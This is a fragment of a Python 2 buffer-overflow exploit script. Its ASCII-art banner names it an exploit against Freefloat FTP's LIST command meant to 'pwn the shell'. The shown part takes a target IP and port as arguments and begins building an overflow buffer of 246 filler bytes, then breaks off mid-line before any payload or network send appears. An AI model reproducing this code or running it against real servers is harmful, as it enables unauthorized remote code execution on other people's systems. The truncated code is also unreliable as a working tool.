#!/usr/bin/python from struct import pack import socket,sys import os print " ||=============================================================||" print " || ||" print " || / \ 0-Exploit (Zer0 Thunder) ||" print " || \ \ ,, / /--------------------------------------------||" print " || '-.`\()/`.-' =========================== ||" print " || .--_'( )'_--.Freefloat FTP [LIST] Buffer Overflow Exploit||" print " || / /` /`**`\ `\ \ ----pwn the shell---- ||" print " || | | >< | | ||" print " || \ \ / / ||" print " || '.__.' ||" print " || ||" print " ||=============================================================||" if len(sys.argv) != 3: print "Usage: ./freeftp.py [IP] [PORT]" sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) junk = "\x41" * 246 add = pack('